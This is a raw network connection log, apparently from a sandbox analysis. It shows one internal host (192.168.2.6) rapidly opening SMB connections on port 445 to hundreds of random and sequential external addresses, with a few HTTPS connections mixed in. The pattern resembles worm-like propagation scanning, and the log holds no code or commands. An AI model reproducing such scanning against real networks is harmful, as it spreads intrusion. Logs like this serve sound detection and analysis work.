Jul 20, 2022 06:07:25.751374960 CEST	51717	445	192.168.2.6	179.132.19.79
Jul 20, 2022 06:07:25.752068043 CEST	51718	445	192.168.2.6	91.127.225.54
Jul 20, 2022 06:07:25.752753973 CEST	51719	445	192.168.2.6	97.227.22.184
Jul 20, 2022 06:07:25.753442049 CEST	51720	445	192.168.2.6	181.15.117.178
Jul 20, 2022 06:07:25.754115105 CEST	51721	445	192.168.2.6	109.75.49.222
Jul 20, 2022 06:07:25.754793882 CEST	51722	445	192.168.2.6	178.193.36.249
Jul 20, 2022 06:07:25.755759954 CEST	51723	445	192.168.2.6	86.94.75.95
Jul 20, 2022 06:07:25.756501913 CEST	51724	445	192.168.2.6	144.198.2.110
Jul 20, 2022 06:07:25.775856018 CEST	443	51685	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:25.775930882 CEST	443	51685	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:25.776006937 CEST	51685	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:25.785398960 CEST	51685	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:25.785443068 CEST	443	51685	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:26.168214083 CEST	51682	445	192.168.2.6	178.159.42.38
Jul 20, 2022 06:07:26.195961952 CEST	445	51682	178.159.42.38	192.168.2.6
Jul 20, 2022 06:07:26.622205973 CEST	51726	445	192.168.2.6	37.21.160.40
Jul 20, 2022 06:07:26.622999907 CEST	51727	445	192.168.2.6	178.159.42.39
Jul 20, 2022 06:07:26.650142908 CEST	445	51727	178.159.42.39	192.168.2.6
Jul 20, 2022 06:07:26.766015053 CEST	51728	445	192.168.2.6	176.241.42.4
Jul 20, 2022 06:07:26.778539896 CEST	51729	445	192.168.2.6	183.97.187.159
Jul 20, 2022 06:07:26.786725998 CEST	51730	445	192.168.2.6	33.61.188.212
Jul 20, 2022 06:07:26.786730051 CEST	51731	445	192.168.2.6	6.92.253.201
Jul 20, 2022 06:07:26.787235975 CEST	51733	445	192.168.2.6	189.199.5.186
Jul 20, 2022 06:07:26.787384033 CEST	51736	445	192.168.2.6	80.75.136.194
Jul 20, 2022 06:07:26.787391901 CEST	51732	445	192.168.2.6	113.27.185.201
Jul 20, 2022 06:07:26.787482977 CEST	51735	445	192.168.2.6	39.37.234.188
Jul 20, 2022 06:07:26.787488937 CEST	51737	445	192.168.2.6	183.167.73.2
Jul 20, 2022 06:07:26.787575006 CEST	51738	445	192.168.2.6	137.123.117.89
Jul 20, 2022 06:07:26.787621975 CEST	51739	445	192.168.2.6	35.74.142.125
Jul 20, 2022 06:07:26.787748098 CEST	51741	445	192.168.2.6	61.240.19.236
Jul 20, 2022 06:07:26.787848949 CEST	51744	445	192.168.2.6	57.158.62.82
Jul 20, 2022 06:07:26.787925959 CEST	51746	445	192.168.2.6	146.155.181.173
Jul 20, 2022 06:07:26.787950993 CEST	51747	445	192.168.2.6	107.25.254.239
Jul 20, 2022 06:07:26.788048983 CEST	51748	445	192.168.2.6	119.245.6.54
Jul 20, 2022 06:07:26.794888973 CEST	51752	445	192.168.2.6	81.236.193.38
Jul 20, 2022 06:07:26.795702934 CEST	51756	445	192.168.2.6	221.89.189.239
Jul 20, 2022 06:07:26.795706034 CEST	51755	445	192.168.2.6	196.49.99.197
Jul 20, 2022 06:07:26.815080881 CEST	445	51728	176.241.42.4	192.168.2.6
Jul 20, 2022 06:07:26.872160912 CEST	51757	445	192.168.2.6	114.149.131.74
Jul 20, 2022 06:07:26.872720957 CEST	51758	445	192.168.2.6	189.125.103.36
Jul 20, 2022 06:07:26.873286009 CEST	51759	445	192.168.2.6	122.118.215.104
Jul 20, 2022 06:07:26.873800039 CEST	51760	445	192.168.2.6	33.143.207.10
Jul 20, 2022 06:07:26.874294996 CEST	51761	445	192.168.2.6	79.237.83.228
Jul 20, 2022 06:07:26.875288963 CEST	51762	445	192.168.2.6	51.216.31.240
Jul 20, 2022 06:07:26.877024889 CEST	51763	445	192.168.2.6	98.116.152.147
Jul 20, 2022 06:07:26.877053022 CEST	51764	445	192.168.2.6	221.228.95.20
Jul 20, 2022 06:07:26.877182961 CEST	51765	445	192.168.2.6	142.187.65.184
Jul 20, 2022 06:07:26.877321959 CEST	51767	445	192.168.2.6	43.250.107.96
Jul 20, 2022 06:07:26.877327919 CEST	51766	445	192.168.2.6	3.253.110.85
Jul 20, 2022 06:07:27.024785995 CEST	445	51765	142.187.65.184	192.168.2.6
Jul 20, 2022 06:07:27.091759920 CEST	445	51748	119.245.6.54	192.168.2.6
Jul 20, 2022 06:07:27.168288946 CEST	51727	445	192.168.2.6	178.159.42.39
Jul 20, 2022 06:07:27.195333004 CEST	445	51727	178.159.42.39	192.168.2.6
Jul 20, 2022 06:07:27.324589014 CEST	51728	445	192.168.2.6	176.241.42.4
Jul 20, 2022 06:07:27.373342991 CEST	445	51728	176.241.42.4	192.168.2.6
Jul 20, 2022 06:07:27.621485949 CEST	51765	445	192.168.2.6	142.187.65.184
Jul 20, 2022 06:07:27.668312073 CEST	51748	445	192.168.2.6	119.245.6.54
Jul 20, 2022 06:07:27.712706089 CEST	51770	445	192.168.2.6	178.159.42.40
Jul 20, 2022 06:07:27.713470936 CEST	51771	445	192.168.2.6	37.21.160.41
Jul 20, 2022 06:07:27.769079924 CEST	445	51765	142.187.65.184	192.168.2.6
Jul 20, 2022 06:07:27.841089010 CEST	51772	445	192.168.2.6	176.241.42.5
Jul 20, 2022 06:07:27.903675079 CEST	51773	445	192.168.2.6	192.248.51.47
Jul 20, 2022 06:07:27.904473066 CEST	51774	445	192.168.2.6	132.63.26.220
Jul 20, 2022 06:07:27.919722080 CEST	51776	445	192.168.2.6	125.220.10.207
Jul 20, 2022 06:07:27.920171976 CEST	51779	445	192.168.2.6	149.225.41.107
Jul 20, 2022 06:07:27.952769041 CEST	51782	445	192.168.2.6	1.125.110.139
Jul 20, 2022 06:07:27.953836918 CEST	51785	445	192.168.2.6	130.93.213.165
Jul 20, 2022 06:07:27.953891993 CEST	51786	445	192.168.2.6	4.12.176.249
Jul 20, 2022 06:07:27.953999043 CEST	51788	445	192.168.2.6	118.65.106.137
Jul 20, 2022 06:07:27.954031944 CEST	51787	445	192.168.2.6	161.131.95.54
Jul 20, 2022 06:07:27.954107046 CEST	51789	445	192.168.2.6	99.83.199.0
Jul 20, 2022 06:07:27.954138994 CEST	51790	445	192.168.2.6	104.248.209.195
Jul 20, 2022 06:07:27.954245090 CEST	51791	445	192.168.2.6	120.101.189.55
Jul 20, 2022 06:07:27.954339027 CEST	51793	445	192.168.2.6	17.148.12.141
Jul 20, 2022 06:07:27.954343081 CEST	51794	445	192.168.2.6	47.133.213.248
Jul 20, 2022 06:07:27.954448938 CEST	51795	445	192.168.2.6	211.4.206.169
Jul 20, 2022 06:07:27.954546928 CEST	51796	445	192.168.2.6	36.120.93.211
Jul 20, 2022 06:07:27.954565048 CEST	51797	445	192.168.2.6	126.31.13.139
Jul 20, 2022 06:07:27.954757929 CEST	51800	445	192.168.2.6	142.145.13.232
Jul 20, 2022 06:07:27.971798897 CEST	445	51748	119.245.6.54	192.168.2.6
Jul 20, 2022 06:07:27.997343063 CEST	51801	445	192.168.2.6	79.94.19.177
Jul 20, 2022 06:07:27.998226881 CEST	51802	445	192.168.2.6	105.4.4.95
Jul 20, 2022 06:07:27.999044895 CEST	51803	445	192.168.2.6	72.22.129.87
Jul 20, 2022 06:07:27.999800920 CEST	51804	445	192.168.2.6	12.194.61.59
Jul 20, 2022 06:07:28.000510931 CEST	51805	445	192.168.2.6	112.231.141.125
Jul 20, 2022 06:07:28.001219988 CEST	51806	445	192.168.2.6	140.32.94.60
Jul 20, 2022 06:07:28.001983881 CEST	51807	445	192.168.2.6	148.183.130.49
Jul 20, 2022 06:07:28.002710104 CEST	51808	445	192.168.2.6	215.70.67.144
Jul 20, 2022 06:07:28.003370047 CEST	51809	445	192.168.2.6	190.224.27.5
Jul 20, 2022 06:07:28.004033089 CEST	51810	445	192.168.2.6	195.187.58.195
Jul 20, 2022 06:07:28.004714966 CEST	51811	445	192.168.2.6	160.14.36.122
Jul 20, 2022 06:07:28.779526949 CEST	51814	445	192.168.2.6	37.21.160.42
Jul 20, 2022 06:07:28.780191898 CEST	51815	445	192.168.2.6	178.159.42.41
Jul 20, 2022 06:07:28.903914928 CEST	51816	445	192.168.2.6	176.241.42.6
Jul 20, 2022 06:07:28.955074072 CEST	445	51816	176.241.42.6	192.168.2.6
Jul 20, 2022 06:07:29.043910980 CEST	51818	445	192.168.2.6	222.91.236.7
Jul 20, 2022 06:07:29.047383070 CEST	51821	445	192.168.2.6	154.63.32.143
Jul 20, 2022 06:07:29.047472000 CEST	51824	445	192.168.2.6	70.16.165.215
Jul 20, 2022 06:07:29.047596931 CEST	51825	445	192.168.2.6	128.27.225.135
Jul 20, 2022 06:07:29.062110901 CEST	51826	445	192.168.2.6	177.58.248.22
Jul 20, 2022 06:07:29.070926905 CEST	51829	445	192.168.2.6	179.110.79.223
Jul 20, 2022 06:07:29.071397066 CEST	51831	445	192.168.2.6	104.50.140.205
Jul 20, 2022 06:07:29.071448088 CEST	51830	445	192.168.2.6	223.70.254.206
Jul 20, 2022 06:07:29.071527958 CEST	51832	445	192.168.2.6	199.158.216.217
Jul 20, 2022 06:07:29.071573019 CEST	51833	445	192.168.2.6	126.225.187.26
Jul 20, 2022 06:07:29.071681023 CEST	51834	445	192.168.2.6	197.220.93.190
Jul 20, 2022 06:07:29.071801901 CEST	51836	445	192.168.2.6	66.98.91.64
Jul 20, 2022 06:07:29.071810961 CEST	51837	445	192.168.2.6	89.104.208.104
Jul 20, 2022 06:07:29.071943045 CEST	51839	445	192.168.2.6	108.65.246.33
Jul 20, 2022 06:07:29.071959019 CEST	51838	445	192.168.2.6	119.93.201.30
Jul 20, 2022 06:07:29.072066069 CEST	51840	445	192.168.2.6	55.54.193.231
Jul 20, 2022 06:07:29.072257996 CEST	51843	445	192.168.2.6	214.148.52.134
Jul 20, 2022 06:07:29.072293043 CEST	51844	445	192.168.2.6	151.219.136.126
Jul 20, 2022 06:07:29.099647045 CEST	445	51837	89.104.208.104	192.168.2.6
Jul 20, 2022 06:07:29.122658968 CEST	51845	445	192.168.2.6	95.37.224.189
Jul 20, 2022 06:07:29.123460054 CEST	51846	445	192.168.2.6	13.243.130.200
Jul 20, 2022 06:07:29.124233007 CEST	51847	445	192.168.2.6	88.210.151.233
Jul 20, 2022 06:07:29.124979973 CEST	51848	445	192.168.2.6	212.164.208.196
Jul 20, 2022 06:07:29.125710964 CEST	51849	445	192.168.2.6	79.141.41.180
Jul 20, 2022 06:07:29.126420975 CEST	51850	445	192.168.2.6	184.200.237.46
Jul 20, 2022 06:07:29.127185106 CEST	51851	445	192.168.2.6	115.188.146.196
Jul 20, 2022 06:07:29.127872944 CEST	51852	445	192.168.2.6	148.27.31.216
Jul 20, 2022 06:07:29.128844023 CEST	51853	445	192.168.2.6	183.213.171.128
Jul 20, 2022 06:07:29.129597902 CEST	51854	445	192.168.2.6	26.253.170.32
Jul 20, 2022 06:07:29.130300999 CEST	51855	445	192.168.2.6	216.202.209.10
Jul 20, 2022 06:07:29.267750978 CEST	445	51826	177.58.248.22	192.168.2.6
Jul 20, 2022 06:07:29.512249947 CEST	51816	445	192.168.2.6	176.241.42.6
Jul 20, 2022 06:07:29.563147068 CEST	445	51816	176.241.42.6	192.168.2.6
Jul 20, 2022 06:07:29.621752977 CEST	51837	445	192.168.2.6	89.104.208.104
Jul 20, 2022 06:07:29.650217056 CEST	445	51837	89.104.208.104	192.168.2.6
Jul 20, 2022 06:07:29.824853897 CEST	51826	445	192.168.2.6	177.58.248.22
Jul 20, 2022 06:07:29.841679096 CEST	51859	445	192.168.2.6	37.21.160.43
Jul 20, 2022 06:07:29.841908932 CEST	51860	445	192.168.2.6	178.159.42.42
Jul 20, 2022 06:07:30.025382996 CEST	51861	445	192.168.2.6	176.241.42.7
Jul 20, 2022 06:07:30.030705929 CEST	445	51826	177.58.248.22	192.168.2.6
Jul 20, 2022 06:07:30.174704075 CEST	51863	445	192.168.2.6	33.98.191.95
Jul 20, 2022 06:07:30.175093889 CEST	51864	445	192.168.2.6	223.172.160.99
Jul 20, 2022 06:07:30.175509930 CEST	51866	445	192.168.2.6	23.217.137.50
Jul 20, 2022 06:07:30.175753117 CEST	51870	445	192.168.2.6	220.22.124.132
Jul 20, 2022 06:07:30.234780073 CEST	51871	445	192.168.2.6	64.113.148.140
Jul 20, 2022 06:07:30.235291004 CEST	51872	445	192.168.2.6	56.136.10.98
Jul 20, 2022 06:07:30.235814095 CEST	51873	445	192.168.2.6	128.151.205.177
Jul 20, 2022 06:07:30.236304045 CEST	51874	445	192.168.2.6	2.43.36.87
Jul 20, 2022 06:07:30.252949953 CEST	51875	445	192.168.2.6	14.115.27.246
Jul 20, 2022 06:07:30.272964001 CEST	51876	445	192.168.2.6	68.85.83.180
Jul 20, 2022 06:07:30.273000956 CEST	51877	445	192.168.2.6	102.34.104.4
Jul 20, 2022 06:07:30.273190975 CEST	51879	445	192.168.2.6	130.9.123.111
Jul 20, 2022 06:07:30.273274899 CEST	51878	445	192.168.2.6	171.55.196.20
Jul 20, 2022 06:07:30.273365021 CEST	51880	445	192.168.2.6	212.209.56.19
Jul 20, 2022 06:07:30.273487091 CEST	51882	445	192.168.2.6	58.111.173.196
Jul 20, 2022 06:07:30.273492098 CEST	51881	445	192.168.2.6	215.0.72.199
Jul 20, 2022 06:07:30.273597002 CEST	51885	445	192.168.2.6	200.196.237.229
Jul 20, 2022 06:07:30.273629904 CEST	51887	445	192.168.2.6	20.218.220.247
Jul 20, 2022 06:07:30.273705006 CEST	51888	445	192.168.2.6	211.94.221.238
Jul 20, 2022 06:07:30.273720026 CEST	51886	445	192.168.2.6	70.239.180.89
Jul 20, 2022 06:07:30.273802996 CEST	51889	445	192.168.2.6	66.172.11.125
Jul 20, 2022 06:07:30.273880005 CEST	51891	445	192.168.2.6	52.145.158.219
Jul 20, 2022 06:07:30.273890972 CEST	51892	445	192.168.2.6	112.23.122.177
Jul 20, 2022 06:07:30.273993015 CEST	51893	445	192.168.2.6	116.5.133.185
Jul 20, 2022 06:07:30.274014950 CEST	51894	445	192.168.2.6	189.148.44.237
Jul 20, 2022 06:07:30.274094105 CEST	51895	445	192.168.2.6	153.252.197.223
Jul 20, 2022 06:07:30.274107933 CEST	51896	445	192.168.2.6	169.5.218.57
Jul 20, 2022 06:07:30.274246931 CEST	51899	445	192.168.2.6	57.24.228.118
Jul 20, 2022 06:07:30.274419069 CEST	51900	445	192.168.2.6	77.206.110.132
Jul 20, 2022 06:07:30.919256926 CEST	51903	445	192.168.2.6	37.21.160.44
Jul 20, 2022 06:07:30.919954062 CEST	51904	445	192.168.2.6	178.159.42.43
Jul 20, 2022 06:07:30.946882963 CEST	445	51904	178.159.42.43	192.168.2.6
Jul 20, 2022 06:07:31.113693953 CEST	51906	445	192.168.2.6	176.241.42.8
Jul 20, 2022 06:07:31.164516926 CEST	445	51906	176.241.42.8	192.168.2.6
Jul 20, 2022 06:07:31.294454098 CEST	51908	445	192.168.2.6	178.164.100.235
Jul 20, 2022 06:07:31.295007944 CEST	51909	445	192.168.2.6	41.154.3.176
Jul 20, 2022 06:07:31.296045065 CEST	51911	445	192.168.2.6	70.240.94.221
Jul 20, 2022 06:07:31.298077106 CEST	51915	445	192.168.2.6	219.97.66.240
Jul 20, 2022 06:07:31.357520103 CEST	51916	445	192.168.2.6	21.135.93.151
Jul 20, 2022 06:07:31.358587027 CEST	51918	445	192.168.2.6	32.65.106.84
Jul 20, 2022 06:07:31.359062910 CEST	51919	445	192.168.2.6	87.32.162.126
Jul 20, 2022 06:07:31.389533997 CEST	51920	445	192.168.2.6	79.27.166.176
Jul 20, 2022 06:07:31.390117884 CEST	51921	445	192.168.2.6	99.205.73.68
Jul 20, 2022 06:07:31.390681028 CEST	51922	445	192.168.2.6	87.230.248.100
Jul 20, 2022 06:07:31.391202927 CEST	51923	445	192.168.2.6	219.132.118.75
Jul 20, 2022 06:07:31.391778946 CEST	51924	445	192.168.2.6	146.7.58.244
Jul 20, 2022 06:07:31.392322063 CEST	51925	445	192.168.2.6	78.176.184.116
Jul 20, 2022 06:07:31.392976046 CEST	51926	445	192.168.2.6	117.145.72.248
Jul 20, 2022 06:07:31.393708944 CEST	51927	445	192.168.2.6	119.214.240.145
Jul 20, 2022 06:07:31.395277977 CEST	51930	445	192.168.2.6	6.104.11.145
Jul 20, 2022 06:07:31.395853996 CEST	51931	445	192.168.2.6	218.56.125.250
Jul 20, 2022 06:07:31.396373034 CEST	51932	445	192.168.2.6	133.87.94.102
Jul 20, 2022 06:07:31.396907091 CEST	51933	445	192.168.2.6	44.245.212.230
Jul 20, 2022 06:07:31.397878885 CEST	51935	445	192.168.2.6	182.39.70.13
Jul 20, 2022 06:07:31.398408890 CEST	51936	445	192.168.2.6	133.175.121.169
Jul 20, 2022 06:07:31.398921967 CEST	51937	445	192.168.2.6	220.35.38.162
Jul 20, 2022 06:07:31.399419069 CEST	51938	445	192.168.2.6	11.221.198.115
Jul 20, 2022 06:07:31.399943113 CEST	51939	445	192.168.2.6	160.172.219.244
Jul 20, 2022 06:07:31.400446892 CEST	51940	445	192.168.2.6	98.205.95.46
Jul 20, 2022 06:07:31.400981903 CEST	51941	445	192.168.2.6	214.141.163.187
Jul 20, 2022 06:07:31.402714014 CEST	51944	445	192.168.2.6	160.224.0.49
Jul 20, 2022 06:07:31.403506041 CEST	51945	445	192.168.2.6	120.69.208.0
Jul 20, 2022 06:07:31.465586901 CEST	51904	445	192.168.2.6	178.159.42.43
Jul 20, 2022 06:07:31.494971991 CEST	445	51904	178.159.42.43	192.168.2.6
Jul 20, 2022 06:07:31.668709040 CEST	51906	445	192.168.2.6	176.241.42.8
Jul 20, 2022 06:07:31.719909906 CEST	445	51906	176.241.42.8	192.168.2.6
Jul 20, 2022 06:07:31.998320103 CEST	51949	445	192.168.2.6	37.21.160.45
Jul 20, 2022 06:07:31.999058962 CEST	51950	445	192.168.2.6	178.159.42.44
Jul 20, 2022 06:07:32.029382944 CEST	445	51950	178.159.42.44	192.168.2.6
Jul 20, 2022 06:07:32.029499054 CEST	51950	445	192.168.2.6	178.159.42.44
Jul 20, 2022 06:07:32.029694080 CEST	51950	445	192.168.2.6	178.159.42.44
Jul 20, 2022 06:07:32.032257080 CEST	51951	445	192.168.2.6	178.159.42.44
Jul 20, 2022 06:07:32.058020115 CEST	445	51950	178.159.42.44	192.168.2.6
Jul 20, 2022 06:07:32.058056116 CEST	445	51950	178.159.42.44	192.168.2.6
Jul 20, 2022 06:07:32.059340000 CEST	445	51951	178.159.42.44	192.168.2.6
Jul 20, 2022 06:07:32.059463024 CEST	51951	445	192.168.2.6	178.159.42.44
Jul 20, 2022 06:07:32.059840918 CEST	51951	445	192.168.2.6	178.159.42.44
Jul 20, 2022 06:07:32.088232040 CEST	445	51951	178.159.42.44	192.168.2.6
Jul 20, 2022 06:07:32.185945988 CEST	51953	445	192.168.2.6	176.241.42.9
Jul 20, 2022 06:07:32.420973063 CEST	51956	445	192.168.2.6	200.122.173.190
Jul 20, 2022 06:07:32.436000109 CEST	51960	445	192.168.2.6	23.229.17.237
Jul 20, 2022 06:07:32.439238071 CEST	51961	445	192.168.2.6	191.213.251.250
Jul 20, 2022 06:07:32.440337896 CEST	51962	445	192.168.2.6	101.82.239.64
Jul 20, 2022 06:07:32.479585886 CEST	51963	445	192.168.2.6	169.159.14.0
Jul 20, 2022 06:07:32.480241060 CEST	51964	445	192.168.2.6	7.76.121.42
Jul 20, 2022 06:07:32.480262995 CEST	51965	445	192.168.2.6	215.89.33.104
Jul 20, 2022 06:07:32.480345011 CEST	51966	445	192.168.2.6	39.247.30.181
Jul 20, 2022 06:07:32.510405064 CEST	51967	445	192.168.2.6	69.18.211.243
Jul 20, 2022 06:07:32.514396906 CEST	51968	445	192.168.2.6	19.185.126.87
Jul 20, 2022 06:07:32.514507055 CEST	51969	445	192.168.2.6	92.27.212.176
Jul 20, 2022 06:07:32.514549971 CEST	51970	445	192.168.2.6	124.79.118.198
Jul 20, 2022 06:07:32.514560938 CEST	51971	445	192.168.2.6	60.69.221.243
Jul 20, 2022 06:07:32.514595985 CEST	51972	445	192.168.2.6	6.98.121.164
Jul 20, 2022 06:07:32.514636040 CEST	51973	445	192.168.2.6	52.1.103.148
Jul 20, 2022 06:07:32.514739990 CEST	51975	445	192.168.2.6	33.86.228.53
Jul 20, 2022 06:07:32.514801979 CEST	51977	445	192.168.2.6	19.16.143.98
Jul 20, 2022 06:07:32.514849901 CEST	51978	445	192.168.2.6	55.3.162.64
Jul 20, 2022 06:07:32.514904976 CEST	51979	445	192.168.2.6	8.79.61.154
Jul 20, 2022 06:07:32.514957905 CEST	51980	445	192.168.2.6	143.238.22.2
Jul 20, 2022 06:07:32.515043974 CEST	51982	445	192.168.2.6	26.188.159.199
Jul 20, 2022 06:07:32.515089035 CEST	51983	445	192.168.2.6	159.62.106.43
Jul 20, 2022 06:07:32.515175104 CEST	51984	445	192.168.2.6	90.162.12.172
Jul 20, 2022 06:07:32.515224934 CEST	51985	445	192.168.2.6	74.155.251.15
Jul 20, 2022 06:07:32.515331984 CEST	51987	445	192.168.2.6	66.198.21.188
Jul 20, 2022 06:07:32.515337944 CEST	51986	445	192.168.2.6	59.189.162.207
Jul 20, 2022 06:07:32.515393019 CEST	51988	445	192.168.2.6	65.24.145.121
Jul 20, 2022 06:07:32.515501976 CEST	51991	445	192.168.2.6	213.168.48.21
Jul 20, 2022 06:07:32.529109001 CEST	51992	445	192.168.2.6	4.195.157.88
Jul 20, 2022 06:07:32.552313089 CEST	445	51960	23.229.17.237	192.168.2.6
Jul 20, 2022 06:07:32.802321911 CEST	445	51971	60.69.221.243	192.168.2.6
Jul 20, 2022 06:07:33.092000961 CEST	51996	445	192.168.2.6	37.21.160.46
Jul 20, 2022 06:07:33.168840885 CEST	51960	445	192.168.2.6	23.229.17.237
Jul 20, 2022 06:07:33.247858047 CEST	51998	445	192.168.2.6	176.241.42.10
Jul 20, 2022 06:07:33.282927990 CEST	445	51960	23.229.17.237	192.168.2.6
Jul 20, 2022 06:07:33.356353998 CEST	51971	445	192.168.2.6	60.69.221.243
Jul 20, 2022 06:07:33.557346106 CEST	52003	445	192.168.2.6	192.211.2.27
Jul 20, 2022 06:07:33.561482906 CEST	52006	445	192.168.2.6	79.131.47.93
Jul 20, 2022 06:07:33.561553001 CEST	52007	445	192.168.2.6	53.210.162.198
Jul 20, 2022 06:07:33.561635017 CEST	52008	445	192.168.2.6	89.179.244.218
Jul 20, 2022 06:07:33.576081991 CEST	52009	445	192.168.2.6	208.70.14.22
Jul 20, 2022 06:07:33.576926947 CEST	52010	445	192.168.2.6	137.162.245.61
Jul 20, 2022 06:07:33.578077078 CEST	52011	445	192.168.2.6	53.67.135.32
Jul 20, 2022 06:07:33.578948021 CEST	52012	445	192.168.2.6	47.83.252.156
Jul 20, 2022 06:07:33.622944117 CEST	52013	445	192.168.2.6	83.62.67.189
Jul 20, 2022 06:07:33.623744011 CEST	52014	445	192.168.2.6	168.74.39.94
Jul 20, 2022 06:07:33.624494076 CEST	52015	445	192.168.2.6	102.243.220.154
Jul 20, 2022 06:07:33.625238895 CEST	52016	445	192.168.2.6	123.87.35.247
Jul 20, 2022 06:07:33.626000881 CEST	52017	445	192.168.2.6	59.31.223.178
Jul 20, 2022 06:07:33.626737118 CEST	52018	445	192.168.2.6	66.238.200.106
Jul 20, 2022 06:07:33.629169941 CEST	52021	445	192.168.2.6	192.171.79.239
Jul 20, 2022 06:07:33.629899025 CEST	52022	445	192.168.2.6	213.134.47.57
Jul 20, 2022 06:07:33.630774021 CEST	52023	445	192.168.2.6	49.232.18.185
Jul 20, 2022 06:07:33.631478071 CEST	52024	445	192.168.2.6	126.177.115.212
Jul 20, 2022 06:07:33.632185936 CEST	52025	445	192.168.2.6	14.109.151.182
Jul 20, 2022 06:07:33.633519888 CEST	52027	445	192.168.2.6	3.190.254.215
Jul 20, 2022 06:07:33.634244919 CEST	52028	445	192.168.2.6	24.232.116.80
Jul 20, 2022 06:07:33.634931087 CEST	52029	445	192.168.2.6	148.204.23.122
Jul 20, 2022 06:07:33.635633945 CEST	52030	445	192.168.2.6	156.4.232.114
Jul 20, 2022 06:07:33.636337042 CEST	52031	445	192.168.2.6	28.93.230.174
Jul 20, 2022 06:07:33.637304068 CEST	52032	445	192.168.2.6	54.250.220.51
Jul 20, 2022 06:07:33.643913031 CEST	445	51971	60.69.221.243	192.168.2.6
Jul 20, 2022 06:07:33.654455900 CEST	52033	445	192.168.2.6	52.188.190.21
Jul 20, 2022 06:07:33.654639959 CEST	52036	445	192.168.2.6	215.91.32.92
Jul 20, 2022 06:07:33.654742002 CEST	52037	445	192.168.2.6	180.131.231.12
Jul 20, 2022 06:07:33.670066118 CEST	52038	445	192.168.2.6	131.193.140.239
Jul 20, 2022 06:07:34.170583010 CEST	52042	445	192.168.2.6	37.21.160.47
Jul 20, 2022 06:07:34.325938940 CEST	52044	445	192.168.2.6	176.241.42.11
Jul 20, 2022 06:07:34.376457930 CEST	445	52044	176.241.42.11	192.168.2.6
Jul 20, 2022 06:07:34.676068068 CEST	52050	445	192.168.2.6	32.128.65.253
Jul 20, 2022 06:07:34.758627892 CEST	52051	445	192.168.2.6	123.78.169.216
Jul 20, 2022 06:07:34.760581970 CEST	52079	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:34.760607004 CEST	443	52079	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:34.760680914 CEST	52079	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:34.761574984 CEST	52079	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:34.761586905 CEST	443	52079	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:34.770993948 CEST	52052	445	192.168.2.6	167.23.217.62
Jul 20, 2022 06:07:34.772066116 CEST	52053	445	192.168.2.6	28.105.138.97
Jul 20, 2022 06:07:34.772200108 CEST	52054	445	192.168.2.6	182.172.65.221
Jul 20, 2022 06:07:34.772356987 CEST	52055	445	192.168.2.6	35.89.242.209
Jul 20, 2022 06:07:34.772471905 CEST	52056	445	192.168.2.6	181.82.146.195
Jul 20, 2022 06:07:34.772746086 CEST	52059	445	192.168.2.6	143.233.142.213
Jul 20, 2022 06:07:34.772876024 CEST	52060	445	192.168.2.6	205.110.158.182
Jul 20, 2022 06:07:34.772962093 CEST	52061	445	192.168.2.6	195.128.192.151
Jul 20, 2022 06:07:34.773040056 CEST	52062	445	192.168.2.6	34.173.133.87
Jul 20, 2022 06:07:34.773185015 CEST	52063	445	192.168.2.6	212.83.128.84
Jul 20, 2022 06:07:34.773346901 CEST	52065	445	192.168.2.6	68.65.48.85
Jul 20, 2022 06:07:34.773426056 CEST	52066	445	192.168.2.6	174.75.85.228
Jul 20, 2022 06:07:34.773519993 CEST	52067	445	192.168.2.6	72.210.31.139
Jul 20, 2022 06:07:34.773627996 CEST	52068	445	192.168.2.6	80.34.169.187
Jul 20, 2022 06:07:34.773684025 CEST	52069	445	192.168.2.6	102.231.199.218
Jul 20, 2022 06:07:34.773766994 CEST	52070	445	192.168.2.6	106.64.236.155
Jul 20, 2022 06:07:34.773864985 CEST	52071	445	192.168.2.6	203.231.184.13
Jul 20, 2022 06:07:34.773951054 CEST	52072	445	192.168.2.6	162.93.76.160
Jul 20, 2022 06:07:34.774035931 CEST	52073	445	192.168.2.6	22.209.41.152
Jul 20, 2022 06:07:34.774205923 CEST	52075	445	192.168.2.6	218.57.101.70
Jul 20, 2022 06:07:34.774277925 CEST	52077	445	192.168.2.6	72.43.177.159
Jul 20, 2022 06:07:34.774359941 CEST	52078	445	192.168.2.6	20.63.148.20
Jul 20, 2022 06:07:34.775042057 CEST	52076	445	192.168.2.6	23.251.164.231
Jul 20, 2022 06:07:34.777286053 CEST	52080	445	192.168.2.6	124.203.53.59
Jul 20, 2022 06:07:34.788990974 CEST	52081	445	192.168.2.6	200.221.8.25
Jul 20, 2022 06:07:34.789663076 CEST	52084	445	192.168.2.6	105.137.138.250
Jul 20, 2022 06:07:34.814369917 CEST	52086	445	192.168.2.6	147.152.183.223
Jul 20, 2022 06:07:34.853862047 CEST	443	52079	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:34.854054928 CEST	52079	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:34.860815048 CEST	52079	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:34.860824108 CEST	443	52079	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:34.861110926 CEST	443	52079	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:34.866735935 CEST	52079	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:34.866827011 CEST	52079	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:34.866836071 CEST	443	52079	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:34.867077112 CEST	52079	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:34.894108057 CEST	443	52079	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:34.894665003 CEST	52079	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:34.894679070 CEST	443	52079	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:34.894694090 CEST	52079	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:34.894747019 CEST	52079	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:34.966201067 CEST	52044	445	192.168.2.6	176.241.42.11
Jul 20, 2022 06:07:35.016788006 CEST	445	52044	176.241.42.11	192.168.2.6
